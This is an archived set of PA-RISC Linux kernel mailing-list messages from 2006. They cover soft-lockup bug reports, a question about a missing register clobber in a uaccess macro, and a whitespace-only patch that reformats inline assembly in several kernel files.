List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Z5pxfKxGMmApvrSZZGFnODkxMjQ1N52D
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23575



Joel Soete wrote:
>>Hello pa*,
>>
>>Just to report some "BUG: soft lockup detected on CPU#0":
>>on b2k testing k-2.6.16-pa4 64bit up:
>>BUG: soft lockup detected on CPU#0!
>>
> 
> [snip]
> 
> 
>> IAOQ[0]: _read_lock+0x18/0x30
>> IAOQ[1]: _read_lock+0x8/0x30
>> RP(r2): send_group_sig_info+0x3c/0xb0
>>
>>(on this system also with a previous k-2.6.16-rc4-pa1-n4kmp without activity
>>then waiting my request ;-) )
>>
> 
> Hi all,
> 
> Could that be the result of the upstream bug:
> <http://www.kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.16.4>
> 
> At least in the way; I will test it ...
> 
mmm, seems to help 64bit up kernel runing for a bit more then 3 days on b2k (building in loop kernel)

OTOH not for smp neither on 32bit nor 64bit:
	* 32bit smp 2.6.17-rc1-pa2 hang after some 2 days of run (loop kernel build) on a d380 with msg:
[230961.320000] BUG: soft lockup detected on CPU#1!
[230961.370000] Backtrace:
[230961.400000]  [<10157900>] softlockup_tick+0xf8/0x140
[230961.460000]  [<1013e080>] update_process_times+0x44/0x94
[230961.500000]  [<10109510>] timer_interrupt+0xcc/0x1e4
[230961.500000]  [<10157a58>] handle_IRQ_event+0x5c/0xa4
[230961.500000]  [<10157b44>] __do_IRQ+0xa4/0x220
[230961.500000]  [<10109ca0>] do_cpu_irq_mask+0xd8/0x1b0
[230961.500000]  [<1010c068>] intr_return+0x0/0x1c
[230961.500000]
[230961.500000] BUG: soft lockup detected on CPU#0!
[230961.500000] Backtrace:
[230961.500000]  [<10157900>] softlockup_tick+0xf8/0x140
[230961.500000]  [<1013e080>] update_process_times+0x44/0x94
[230961.500000]  [<10109510>] timer_interrupt+0xcc/0x1e4
[230961.500000]  [<10157a58>] handle_IRQ_event+0x5c/0xa4
[230961.500000]  [<10157b44>] __do_IRQ+0xa4/0x220
[230961.500000]  [<10109ca0>] do_cpu_irq_mask+0xd8/0x1b0
[230961.500000]  [<1010c068>] intr_return+0x0/0x1c
[230961.500000]

	* 64bit smp still hang silently after a bit more then 2 days of same build loop ;-(
	  (even with DETECT_SOFTLOCKUP = y?)

Joel

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Does it lakes some cloberred r1 in
	__put_kernel_asm() 64bit?
Date: Sun, 16 Apr 2006 20:14:35 +0000
Lines: 40
Approved: news@gmane.org
Message-ID: <4442A5AB.5080604@tiscali.be>
References: <IXJXEQ$C47DD9AC94AAFC817D7A8379F72B1E8E@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624055 18950 80.91.229.3 (22 Nov 2014 02:40:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:55 +0000 (UTC)
To: Parisc List <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Apr 2006 20:14:51 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx075) with SMTP; 16 Apr 2006 22:14:51 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 53A807D6A6;
	Sun, 16 Apr 2006 14:14:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30435-03; Sun, 16 Apr 2006 14:14:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 049937D6B0;
	Sun, 16 Apr 2006 14:14:47 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6ED017D6A6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Apr 2006 14:14:45 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29907-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Apr 2006 14:14:44 -0600 (MDT)
Original-Received: from xizor.is.scarlet.be (xizor.is.scarlet.be [193.74.71.21])
	by free.linux.hp.com (Postfix) with ESMTP id 36F607D6A4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Apr 2006 14:14:44 -0600 (MDT)
Original-Received: from ([62.235.225.137]) 
	by xizor.is.scarlet.be  with ESMTP id k3GKEfK25424; 
	Sun, 16 Apr 2006 22:14:41 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.12) Gecko/20060205 Debian/1.7.12-1.1
X-Accept-Language: en
In-Reply-To: <IXJXEQ$C47DD9AC94AAFC817D7A8379F72B1E8E@scarlet.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 3cEqCaETbHIyva3NNjQ0MikqJihyahBN
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23576

Hello all,


I tried to apply my 'beautify' asm template to some uaccess.h and figure out that
this hunk din't mentioned that "r1" was cloberred (iirc in fixup text) while
the 32bit one did:

#ifdef __LP64__
#define __put_kernel_asm(stx,x,ptr)                         \
         __asm__ __volatile__ (                              \
                 "\n1:\t" stx "\t%2,0(%1)\n"                 \
                 "\t.section __ex_table,\"aw\"\n"            \
                 "\t.dword\t1b,fixup_put_user_skip_1\n"      \
                 "\t.previous"                               \
                 : "=r"(__pu_err)                            \
                 : "r"(ptr), "r"(x), "0"(__pu_err))
[snip]
#else
#define __put_kernel_asm(stx,x,ptr)                         \
         __asm__ __volatile__ (                              \
                "\n1:\t" stx "\t%2,0(%1)\n"                 \
                "\t.section __ex_table,\"aw\"\n"            \
                 "\t.word\t1b,fixup_put_user_skip_1\n"      \
                 "\t.previous"                              \
                : "=r"(__pu_err)                            \
                : "r"(ptr), "r"(x), "0"(__pu_err)           \
                : "r1")
[snip]

mmm, doesn't seems to change anything (I just check sys_parisc32.s) but may be elsewhere?

Thanks,
	Joel

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] more whitespace rework and attempt to beautify
	inline asm stuff?
Date: Sun, 16 Apr 2006 20:37:43 +0000
Lines: 1548
Approved: news@gmane.org
Message-ID: <4442AB17.90602@tiscali.be>
References: <IXJXEQ$C47DD9AC94AAFC817D7A8379F72B1E8E@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="------------060503000105010703060408"
X-Trace: ger.gmane.org 1416624055 18953 80.91.229.3 (22 Nov 2014 02:40:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:55 +0000 (UTC)
To: Parisc List <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:30 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Apr 2006 20:38:01 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 16 Apr 2006 22:38:01 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1FB9B7D6BD;
	Sun, 16 Apr 2006 14:37:59 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30475-08; Sun, 16 Apr 2006 14:37:58 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 003187D6B8;
	Sun, 16 Apr 2006 14:37:57 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 44CB47D6B6
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Apr 2006 14:37:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30475-05 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Apr 2006 14:37:53 -0600 (MDT)
Original-Received: from oola.is.scarlet.be (oola.is.scarlet.be [193.74.71.23])
	by free.linux.hp.com (Postfix) with ESMTP id 9805A7D6AF
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 16 Apr 2006 14:37:52 -0600 (MDT)
Original-Received: from ([62.235.225.137]) 
	by oola.is.scarlet.be  with ESMTP id k3GKbnA06748; 
	Sun, 16 Apr 2006 22:37:49 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.12) Gecko/20060205 Debian/1.7.12-1.1
X-Accept-Language: en
In-Reply-To: <IXJXEQ$C47DD9AC94AAFC817D7A8379F72B1E8E@scarlet.be>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Hpl7fK9HYW0+truGbmZpbW50amthc1tf
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23577

This is a multi-part message in MIME format.
--------------060503000105010703060408
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Hello all,

Well just stupid white space changes just for the look.

Just here attach a first draft.

Please let me know if some interest to continue ;-)

Thanks,
	Joel

--------------060503000105010703060408
Content-Type: text/plain;
 name="Beautify-asm.diff"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="Beautify-asm.diff"

--- ./arch/parisc/lib/memcpy.c.Orig	2006-04-10 09:24:31.000000000 +0200
+++ ./arch/parisc/lib/memcpy.c	2006-04-10 17:05:38.000000000 +0200
@@ -79,20 +79,24 @@
 #define get_user_space() (segment_eq(get_fs(), KERNEL_DS) ? 0 : mfsp(3))
 #define get_kernel_space() (0)
 
-#define MERGE(w0, sh_1, w1, sh_2)  ({					\
+#define MERGE(w0, sh_1, w1, sh_2)	({				\
 	unsigned int _r;						\
-	asm volatile (							\
-	"mtsar %3\n"							\
-	"shrpw %1, %2, %%sar, %0\n"					\
-	: "=r"(_r)							\
-	: "r"(w0), "r"(w1), "r"(sh_2)					\
+	__asm__ __volatile__ ("\n"					\
+	"	mtsar		%3\n"					\
+	"	shrpw		%1, %2,%%sar, %0"			\
+		: "=r"(_r)						\
+		: "r"(w0), "r"(w1), "r"(sh_2)				\
 	);								\
 	_r;								\
 })
 #define THRESHOLD	16
 
 #ifdef DEBUG_MEMCPY
-#define DPRINTF(fmt, args...) do { printk(KERN_DEBUG "%s:%d:%s ", __FILE__, __LINE__, __FUNCTION__ ); printk(KERN_DEBUG fmt, ##args ); } while (0)
+#define DPRINTF(fmt, args...) do {					\
+	printk(KERN_DEBUG "%s:%d:%s ",					\
+		__FILE__, __LINE__, __FUNCTION__ );			\
+	printk(KERN_DEBUG fmt, ##args );				\
+} while (0)
 #else
 #define DPRINTF(fmt, args...)
 #endif
@@ -103,69 +107,81 @@
 #define EXC_WORD ".dword"
 #endif
 
-#define def_load_ai_insn(_insn,_sz,_tt,_s,_a,_t,_e)	\
-	__asm__ __volatile__ (				\
-	"1:\t" #_insn ",ma " #_sz "(" _s ",%1), %0\n" 	\
-	"\t.section __ex_table,\"aw\"\n"		\
-	"\t" EXC_WORD "\t1b\n"				\
-	"\t" EXC_WORD "\t" #_e "\n"			\
-	"\t.previous\n"					\
-	: _tt(_t), "+r"(_a)				\
-	: 						\
-	: "r8")
-
-#define def_store_ai_insn(_insn,_sz,_tt,_s,_a,_t,_e) 	\
-	__asm__ __volatile__ (				\
-	"1:\t" #_insn ",ma %1, " #_sz "(" _s ",%0)\n" 	\
-	"\t.section __ex_table,\"aw\"\n"		\
-	"\t" EXC_WORD "\t1b\n"				\
-	"\t" EXC_WORD "\t" #_e "\n"			\
-	"\t.previous\n"					\
-	: "+r"(_a) 					\
-	: _tt(_t)					\
-	: "r8")
-
-#define ldbma(_s, _a, _t, _e) def_load_ai_insn(ldbs,1,"=r",_s,_a,_t,_e)
-#define stbma(_s, _t, _a, _e) def_store_ai_insn(stbs,1,"r",_s,_a,_t,_e)
-#define ldwma(_s, _a, _t, _e) def_load_ai_insn(ldw,4,"=r",_s,_a,_t,_e)
-#define stwma(_s, _t, _a, _e) def_store_ai_insn(stw,4,"r",_s,_a,_t,_e)
-#define flddma(_s, _a, _t, _e) def_load_ai_insn(fldd,8,"=f",_s,_a,_t,_e)
-#define fstdma(_s, _t, _a, _e) def_store_ai_insn(fstd,8,"f",_s,_a,_t,_e)
-
-#define def_load_insn(_insn,_tt,_s,_o,_a,_t,_e) 	\
-	__asm__ __volatile__ (				\
-	"1:\t" #_insn " " #_o "(" _s ",%1), %0\n"	\
-	"\t.section __ex_table,\"aw\"\n"		\
-	"\t" EXC_WORD "\t1b\n"				\
-	"\t" EXC_WORD "\t" #_e "\n"			\
-	"\t.previous\n"					\
-	: _tt(_t) 					\
-	: "r"(_a)					\
-	: "r8")
-
-#define def_store_insn(_insn,_tt,_s,_t,_o,_a,_e) 	\
-	__asm__ __volatile__ (				\
-	"1:\t" #_insn " %0, " #_o "(" _s ",%1)\n" 	\
-	"\t.section __ex_table,\"aw\"\n"		\
-	"\t" EXC_WORD "\t1b\n"				\
-	"\t" EXC_WORD "\t" #_e "\n"			\
-	"\t.previous\n"					\
-	: 						\
-	: _tt(_t), "r"(_a)				\
-	: "r8")
+#define def_load_ai_insn(_insn, _sz, _tt, _s, _a, _t, _e)		\
+	__asm__ __volatile__ ("\n"					\
+	"1:	" #_insn ",ma		" #_sz "(" _s ", %1), %0\n"	\
+	"	.section __ex_table,\"aw\"\n"				\
+	"	" EXC_WORD "	1b\n"					\
+	"	" EXC_WORD "	" #_e "\n"				\
+	"	.previous"						\
+		: _tt(_t), "+r"(_a)					\
+		: 							\
+		: "r8"							\
+	)
+
+#define def_store_ai_insn(_insn, _sz, _tt, _s, _a, _t, _e)		\
+	__asm__ __volatile__ ("\n"					\
+	"1:	" #_insn ",ma		%1, " #_sz "(" _s ", %0)\n" 	\
+	"	.section __ex_table,\"aw\"\n"				\
+	"	" EXC_WORD "	1b\n"					\
+	"	" EXC_WORD "	" #_e "\n"				\
+	"	.previous"						\
+		: "+r"(_a) 						\
+		: _tt(_t)						\
+		: "r8"							\
+	)
+
+#define ldbma(_s, _a, _t, _e) def_load_ai_insn(ldbs, 1, "=r", _s, _a, _t, _e)
+#define stbma(_s, _t, _a, _e) def_store_ai_insn(stbs, 1, "r", _s, _a, _t, _e)
+#define ldwma(_s, _a, _t, _e) def_load_ai_insn(ldw, 4, "=r", _s, _a, _t, _e)
+#define stwma(_s, _t, _a, _e) def_store_ai_insn(stw, 4, "r", _s, _a, _t, _e)
+#define flddma(_s, _a, _t, _e) def_load_ai_insn(fldd, 8, "=f", _s, _a, _t, _e)
+#define fstdma(_s, _t, _a, _e) def_store_ai_insn(fstd, 8, "f", _s, _a, _t, _e)
+
+#define def_load_insn(_insn, _tt, _s, _o, _a, _t, _e) 			\
+	__asm__ __volatile__ ("\n"					\
+	"1:	" #_insn "		" #_o "(" _s ", %1), %0\n"	\
+	"	.section __ex_table,\"aw\"\n"				\
+	"	" EXC_WORD "	1b\n"					\
+	"	" EXC_WORD "	" #_e "\n"				\
+	"	.previous"						\
+		: _tt(_t) 						\
+		: "r"(_a)						\
+		: "r8"							\
+	)
+
+#define def_store_insn(_insn, _tt, _s, _t, _o, _a, _e)			\
+	__asm__ __volatile__ ("\n"					\
+	"1:	" #_insn "		%0, " #_o "(" _s ", %1)\n"	\
+	"	.section __ex_table,\"aw\"\n"				\
+	"	" EXC_WORD "	1b\n"					\
+	"	" EXC_WORD "	" #_e "\n"				\
+	"	.previous"						\
+		: 							\
+		: _tt(_t), "r"(_a)					\
+		: "r8"							\
+	)
 
-#define ldw(_s,_o,_a,_t,_e)	def_load_insn(ldw,"=r",_s,_o,_a,_t,_e)
-#define stw(_s,_t,_o,_a,_e) 	def_store_insn(stw,"r",_s,_t,_o,_a,_e)
+#define ldw(_s, _o, _a, _t, _e)	def_load_insn(ldw, "=r", _s, _o, _a, _t, _e)
+#define stw(_s, _t, _o, _a, _e)	def_store_insn(stw, "r", _s, _t, _o, _a, _e)
 
 #ifdef  CONFIG_PREFETCH
 extern inline void prefetch_src(const void *addr)
 {
-	__asm__("ldw 0(" s_space ",%0), %%r0" : : "r" (addr));
+	__asm__ ("\n"
+	"	ldw		0(" s_space ", %0), %%r0"
+		:
+		: "r" (addr)
+	);
 }
 
 extern inline void prefetch_dst(const void *addr)
 {
-	__asm__("ldd 0(" d_space ",%0), %%r0" : : "r" (addr));
+	__asm__ ("\n"
+	"	ldd		0(" d_space ", %0), %%r0"
+		:
+		: "r" (addr)
+	);
 }
 #else
 #define prefetch_src(addr)
@@ -374,7 +390,7 @@
 
 word_copy:
 	while (len >= 8*sizeof(unsigned int)) {
-		register unsigned int r1,r2,r3,r4,r5,r6,r7,r8;
+		register unsigned int r1, r2, r3, r4, r5, r6, r7, r8;
 		/* prefetch_src((char *)pws + L1_CACHE_BYTES); */
 		ldwma(s_space, pws, r1, pmc_load_exc);
 		ldwma(s_space, pws, r2, pmc_load_exc);
@@ -397,7 +413,7 @@
 	}
 
 	while (len >= 4*sizeof(unsigned int)) {
-		register unsigned int r1,r2,r3,r4;
+		register unsigned int r1, r2, r3, r4;
 		ldwma(s_space, pws, r1, pmc_load_exc);
 		ldwma(s_space, pws, r2, pmc_load_exc);
 		ldwma(s_space, pws, r3, pmc_load_exc);
--- ./include/asm-parisc/system.h.Orig	2006-04-07 18:05:12.000000000 +0200
+++ ./include/asm-parisc/system.h	2006-04-13 10:44:19.000000000 +0200
@@ -45,8 +45,8 @@
 
 extern struct task_struct *_switch_to(struct task_struct *, struct task_struct *);
 
-#define switch_to(prev, next, last) do {			\
-	(last) = _switch_to(prev, next);			\
+#define switch_to(prev, next, last) do {		\
+	(last) = _switch_to(prev, next);		\
 } while(0)
 
 /*
@@ -61,35 +61,65 @@
 
 
 /* interrupt control */
-#define local_save_flags(x)	__asm__ __volatile__("ssm 0, %0" : "=r" (x) : : "memory")
-#define local_irq_disable()	__asm__ __volatile__("rsm %0,%%r0\n" : : "i" (PSW_I) : "memory" )
-#define local_irq_enable()	__asm__ __volatile__("ssm %0,%%r0\n" : : "i" (PSW_I) : "memory" )
-
-#define local_irq_save(x) \
-	__asm__ __volatile__("rsm %1,%0" : "=r" (x) :"i" (PSW_I) : "memory" )
-#define local_irq_restore(x) \
-	__asm__ __volatile__("mtsm %0" : : "r" (x) : "memory" )
-
-#define irqs_disabled()			\
-({					\
-	unsigned long flags;		\
-	local_save_flags(flags);	\
-	(flags & PSW_I) == 0;		\
+#define local_save_flags(x)				\
+	__asm__ __volatile__ ("\n"			\
+	"	ssm		0, %0"			\
+		: "=r" (x)				\
+		: /* no inputs */			\
+		: "memory"				\
+	)
+#define local_irq_disable()				\
+	__asm__ __volatile__ ("\n"			\
+	"	rsm		%0, %%r0"		\
+		: /* no outputs */			\
+		: "i" (PSW_I)				\
+		: "memory"				\
+	)
+#define local_irq_enable()				\
+	__asm__ __volatile__ ("\n"			\
+	"	ssm		%0, %%r0"		\
+		: /* no outputs */			\
+		: "i" (PSW_I)				\
+		: "memory"				\
+	)
+
+#define local_irq_save(x)				\
+	__asm__ __volatile__ ("\n"			\
+	"	rsm		%1, %0"			\
+		: "=r" (x)				\
+		: "i" (PSW_I)				\
+		: "memory"				\
+	)
+#define local_irq_restore(x)				\
+	__asm__ __volatile__ ("\n"			\
+	"	mtsm		%0"			\
+		: /* no outputs */			\
+		: "r" (x)				\
+		: "memory"				\
+	)
+
+#define irqs_disabled()	({				\
+	unsigned long flags;				\
+	local_save_flags(flags);			\
+	(flags & PSW_I) == 0;				\
 })
 
-#define mfctl(reg)	({		\
-	unsigned long cr;		\
-	__asm__ __volatile__(		\
-		"mfctl " #reg ",%0" :	\
-		 "=r" (cr)		\
-	);				\
-	cr;				\
+#define mfctl(reg)	({				\
+	unsigned long cr;				\
+	__asm__ __volatile__ ("\n"			\
+	"	mfctl		" #reg ", %0"		\
+		: "=r" (cr)				\
+	);						\
+	cr;						\
 })
 
-#define mtctl(gr, cr) \
-	__asm__ __volatile__("mtctl %0,%1" \
-		: /* no outputs */ \
-		: "r" (gr), "i" (cr) : "memory")
+#define mtctl(gr, cr)					\
+	__asm__ __volatile__ ("\n"			\
+	"	mtctl		%0, %1"			\
+		: /* no outputs */			\
+		: "r" (gr), "i" (cr)			\
+		: "memory"				\
+	)
 
 /* these are here to de-mystefy the calling code, and to provide hooks */
 /* which I needed for debugging EIEM problems -PB */
@@ -99,19 +129,22 @@
 	mtctl(val, 15);
 }
 
-#define mfsp(reg)	({		\
-	unsigned long cr;		\
-	__asm__ __volatile__(		\
-		"mfsp " #reg ",%0" :	\
-		 "=r" (cr)		\
-	);				\
-	cr;				\
+#define mfsp(reg)	({				\
+	unsigned long cr;				\
+	__asm__ __volatile__ ("\n"			\
+	"	mfsp		" #reg ", %0"		\
+		: "=r" (cr)				\
+	);						\
+	cr;						\
 })
 
-#define mtsp(gr, cr) \
-	__asm__ __volatile__("mtsp %0,%1" \
-		: /* no outputs */ \
-		: "r" (gr), "i" (cr) : "memory")
+#define mtsp(gr, cr)					\
+	__asm__ __volatile__ ("\n"			\
+	"	mtsp		%0, %1"			\
+		: /* no outputs */			\
+		: "r" (gr), "i" (cr)			\
+		: "memory"				\
+	)
 
 
 /*
@@ -134,12 +167,12 @@
 ** The __asm__ op below simple prevents gcc/ld from reordering
 ** instructions across the mb() "call".
 */
-#define mb()		__asm__ __volatile__("":::"memory")	/* barrier() */
-#define rmb()		mb()
-#define wmb()		mb()
-#define smp_mb()	mb()
-#define smp_rmb()	mb()
-#define smp_wmb()	mb()
+#define mb()		__asm__ __volatile__ ("":::"memory")	/* barrier() */
+#define rmb()				mb()
+#define wmb()				mb()
+#define smp_mb()			mb()
+#define smp_rmb()			mb()
+#define smp_wmb()			mb()
 #define smp_read_barrier_depends()	do { } while(0)
 #define read_barrier_depends()		do { } while(0)
 
@@ -179,10 +212,14 @@
 #endif /*!CONFIG_PA20*/
 
 /* LDCW, the only atomic read-write operation PA-RISC has. *sigh*.  */
-#define __ldcw(a) ({ \
-	unsigned __ret; \
-	__asm__ __volatile__(LDCW " 0(%1),%0" : "=r" (__ret) : "r" (a)); \
-	__ret; \
+#define __ldcw(a)	({				\
+	unsigned __ret;					\
+	__asm__ __volatile__ ("\n"			\
+	"	" LDCW "		0(%1), %0"	\
+		: "=r" (__ret)				\
+		: "r" (a)				\
+	);						\
+	__ret;						\
 })
 
 #ifdef CONFIG_SMP
--- ./include/asm-parisc/bitops.h.Orig	2006-04-10 11:30:36.000000000 +0200
+++ ./include/asm-parisc/bitops.h	2006-04-10 18:10:06.000000000 +0200
@@ -129,30 +129,31 @@
 {
 	unsigned long ret;
 
-	__asm__(
+	__asm__ ("\n"
 #ifdef __LP64__
-		" ldi       63,%1\n"
-		" extrd,u,*<>  %0,63,32,%%r0\n"
-		" extrd,u,*TR  %0,31,32,%0\n"	/* move top 32-bits down */
-		" addi    -32,%1,%1\n"
+	"	ldi		63, %1\n"
+	"	extrd,u,*<>	%0, 63,32, %%r0\n"
+	"	extrd,u,*TR	%0, 31,32, %0\n"	/* move top 32-bits down */
+	"	addi		-32, %1, %1\n"
 #else
-		" ldi       31,%1\n"
+	"	ldi		31, %1\n"
 #endif
-		" extru,<>  %0,31,16,%%r0\n"
-		" extru,TR  %0,15,16,%0\n"	/* xxxx0000 -> 0000xxxx */
-		" addi    -16,%1,%1\n"
-		" extru,<>  %0,31,8,%%r0\n"
-		" extru,TR  %0,23,8,%0\n"	/* 0000xx00 -> 000000xx */
-		" addi    -8,%1,%1\n"
-		" extru,<>  %0,31,4,%%r0\n"
-		" extru,TR  %0,27,4,%0\n"	/* 000000x0 -> 0000000x */
-		" addi    -4,%1,%1\n"
-		" extru,<>  %0,31,2,%%r0\n"
-		" extru,TR  %0,29,2,%0\n"	/* 0000000y, 1100b -> 0011b */
-		" addi    -2,%1,%1\n"
-		" extru,=  %0,31,1,%%r0\n"	/* check last bit */
-		" addi    -1,%1,%1\n"
-			: "+r" (x), "=r" (ret) );
+	"	extru,<>	%0, 31,16, %%r0\n"
+	"	extru,TR	%0, 15,16, %0\n"	/* xxxx0000 -> 0000xxxx */
+	"	addi		-16, %1, %1\n"
+	"	extru,<>	%0, 31,8, %%r0\n"
+	"	extru,TR	%0, 23,8, %0\n"		/* 0000xx00 -> 000000xx */
+	"	addi		-8, %1, %1\n"
+	"	extru,<>	%0, 31,4, %%r0\n"
+	"	extru,TR	%0, 27,4, %0\n"		/* 000000x0 -> 0000000x */
+	"	addi		-4, %1, %1\n"
+	"	extru,<>	%0, 31,2, %%r0\n"
+	"	extru,TR	%0, 29,2, %0\n"		/* 0000000y, 1100b -> 0011b */
+	"	addi		-2, %1, %1\n"
+	"	extru,=		%0, 31,1, %%r0\n"	/* check last bit */
+	"	addi		-1, %1, %1"
+		: "+r" (x), "=r" (ret)
+	);
 	return ret;
 }
 
